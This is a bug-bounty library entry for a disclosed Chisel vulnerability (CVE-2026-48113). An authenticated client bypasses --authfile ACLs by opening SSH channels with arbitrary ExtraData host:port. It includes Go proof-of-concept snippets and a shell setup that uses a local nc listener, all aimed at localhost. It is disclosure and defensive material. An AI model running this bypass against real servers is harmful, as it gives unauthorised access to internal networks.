# Chisel has an ACL Bypass via Post-Handshake SSH Channel ExtraData Injection

Chisel enforces --authfile ACLs only at handshake; authenticated clients open SSH channels with arbitrary ExtraData host:port and tunnel to any reachable destination.

- Payout: Research
- Severity: high
- Program: Chisel
- Found by: mzfr
- Disclosed: 2026-06-12
- CVE: CVE-2026-48113
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-24fp-5v3p-rvpw
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-24fp-5v3p-rvpw
- Tags: area:devices domain:network impact:internal-access kind:research platform:ghsa sev:high tech:go technique:legacy-endpoint technique:source-review vuln:access-control vuln:auth-bypass

**Target:** Chisel reverse-tunnel server (SSH-over-WebSocket, --authfile ACL)
**Root cause:** ACL is checked once during the config handshake against declared remotes, but the tunnel layer never receives user context and dials the client-controlled ch.ExtraData() host:port without any ACL check.
**Steps:**
1. Start chisel server with `--authfile` restricting user:pass to `^127\.0\.0\.1:<allowed>$`.
2. Dial `ws://server` with subprotocol `chisel-v3`, wrap in cnet.NewWebSocketConn, do SSH handshake as user/pass.
3. Send `config` request declaring only the allowed remote `0.0.0.0:<allowed>:127.0.0.1:<allowed>`; server accepts.
4. Call `sc.OpenChannel("chisel", []byte("127.0.0.1:<blocked>"))` — server accepts unconditionally.
5. Read data back from the forbidden listener; server dialed the unauthorized destination.
**How found:** Code review noting ACL validation exists in server_handler.go handshake but tunnel.Config lacks any User/AllowedRemotes/ACL field, so the user context never reaches handleSSHChannel where client-controlled ExtraData is dialed.
**Exploitation:** An authenticated client passes the handshake with a permitted remote, then opens additional SSH channels whose ExtraData names any host:port; handleSSHChannel accepts and handleTCP net.Dials it, giving a tunnel to arbitrary destinations reachable from the server.
**Insight:** When an ACL is enforced at session setup, verify the same principal context is threaded into every later per-request handler; client-controlled channel metadata (SSH ExtraData, proxy headers, upgrade payloads) is a common unchecked second path.

## Proof of concept (copied exactly from the original report)

**Probe opens channel to blocked destination via ExtraData**

```
// Open channel to BLOCKED destination
	target := net.JoinHostPort("127.0.0.1", blocked)
	ch, cr, err := sc.OpenChannel("chisel", []byte(target))
	if err != nil {
		fmt.Printf("[-] REJECTED — server refused %s\n", target)
		os.Exit(1)
	}
	go ssh.DiscardRequests(cr)
	fmt.Printf("[!] ACCEPTED — channel opened to %s\n", target)

	// Read response from forbidden target
	buf := make([]byte, 256)
	done := make(chan int, 1)
	go func() { n, _ := ch.Read(buf); done <- n }()
	select {
	case n := <-done:
		if n > 0 {
			fmt.Printf("[!] Data: %s\n", buf[:n])
		}
	case <-time.After(3 * time.Second):
	}
	fmt.Println("CONFIRMED — ACL bypass: server dialed unauthorized destination")
	ch.Close()
	sc.Close()
```

**Authfile restricting user to allowed port only**

```
AUTH=$(mktemp)
printf '{"user:pass":["^127\\\\.0\\\\.0\\\\.1:%s$"]}\n' "$AP" > "$AUTH"

# Start forbidden-target listener and chisel server
(echo "FORBIDDEN_TARGET_REACHED" | nc -l 127.0.0.1 "$BP") & LISTENER=$!
/tmp/_chisel server --port "$SP" --authfile "$AUTH" --key seed 2>/dev/null & SERVER=$!
```

**Config handshake sending only allowed remote**

```
r, _ := settings.DecodeRemote(fmt.Sprintf("0.0.0.0:%s:127.0.0.1:%s", allowed, allowed))
	cfg, _ := json.Marshal(settings.Config{Version: "0", Remotes: []*settings.Remote{r}})
	ok, reply, err := sc.SendRequest("config", true, cfg)
	check(err, "config")
	if !ok {
		die("config rejected: %s", reply)
	}
	fmt.Printf("[+] Config accepted (only 127.0.0.1:%s allowed)\n", allowed)
```

